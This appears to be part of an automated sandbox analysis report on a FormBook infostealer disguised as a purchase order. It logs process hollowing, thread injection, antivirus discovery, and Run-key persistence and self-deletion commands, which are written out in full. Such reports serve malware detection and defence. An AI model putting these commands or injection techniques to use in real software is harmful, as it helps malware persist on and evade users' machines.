          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\New PO 796512.exeThread register set: target process: 4056Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeThread register set: target process: 4056Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifThread register set: target process: 4056
          Source: C:\Users\user\Documents\New PO 796512.pifThread register set: target process: 4056
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread register set: target process: 4056
          Source: C:\Users\user\Documents\New PO 796512.pif.pifThread register set: target process: 4056
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifThread register set: target process: 4056
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\New PO 796512.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\New PO 796512.exeSection unmapped: C:\Windows\SysWOW64\msdt.exe base address: 990000Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection unmapped: C:\Windows\SysWOW64\cmd.exe base address: 410000
          Source: C:\Users\user\Documents\New PO 796512.pifSection unmapped: C:\Windows\SysWOW64\msiexec.exe base address: 620000
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection unmapped: C:\Windows\SysWOW64\cmd.exe base address: 410000
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection unmapped: C:\Windows\SysWOW64\msdt.exe base address: 990000
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection unmapped: C:\Windows\SysWOW64\mstsc.exe base address: E10000
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess created: C:\Users\user\Desktop\New PO 796512.exe "C:\Users\user\Desktop\New PO 796512.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\New PO 796512.exe"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"Jump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Users\user\Documents\New PO 796512.pifProcess created: C:\Users\user\Documents\New PO 796512.pif "C:\Users\user\Documents\New PO 796512.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: C:\Users\user\Documents\New PO 796512.pif.pif.pif "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess created: unknown unknown
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
          Source: explorer.exe, 0000000E.00000000.1365667629.0000000004880000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2539036313.0000000004880000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 0000000E.00000000.1364076892.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2532835567.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 0000000E.00000000.1364076892.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2532835567.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
          Source: explorer.exe, 0000000E.00000002.2529182206.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1363747749.0000000000C59000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman
          Source: explorer.exe, 0000000E.00000000.1364076892.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2532835567.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Users\user\Desktop\New PO 796512.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif.pif VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif.pif VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif.pif.pif VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Users\user\Documents\New PO 796512.pif.pif.pif VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Desktop\New PO 796512.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
          Source: New PO 796512.exe, 00000001.00000002.1363353945.0000000003370000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1547657978.000000000316D000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1633783698.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1704408272.0000000003194000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1847859755.0000000003109000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1937703257.000000000310B000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2018258086.00000000031E3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: q(C:\Program Files\AVG\Antivirus\AVGUI.exe
          Source: New PO 796512.exe, 00000001.00000002.1363353945.0000000003370000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1547657978.000000000316D000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1633783698.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1704408272.0000000003194000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1847859755.0000000003109000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1937703257.000000000310B000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2018258086.00000000031E3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: q.C:\Program Files (x86)\AVG\Antivirus\AVGUI.exe
          Source: New PO 796512.exe, 00000001.00000002.1367909216.0000000006BF0000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.exe, 00000001.00000002.1361858010.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1542953738.000000000148C000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1631425405.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1641563072.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1700979709.0000000001253000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1840057622.0000000000F3B000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1840057622.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1919742152.0000000001178000.00000004.00000020.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1919742152.0000000001199000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
          Source: C:\Users\user\Desktop\New PO 796512.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pif.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pif.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
          Source: C:\Windows\explorer.exeDirectory queried: C:\Users\user\DocumentsJump to behavior

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
          Windows Management Instrumentation          		1
          DLL Side-Loading          		1
          Abuse Elevation Control Mechanism          		1
          Disable or Modify Tools          		1
          Credential API Hooking          		11
          File and Directory Discovery          		Remote Services1
          Archive Collected Data          		1
          Ingress Tool Transfer          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts1
          Shared Modules          		11
          Registry Run Keys / Startup Folder          		1
          DLL Side-Loading          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory212
          System Information Discovery          		Remote Desktop Protocol1
          Data from Local System          		11
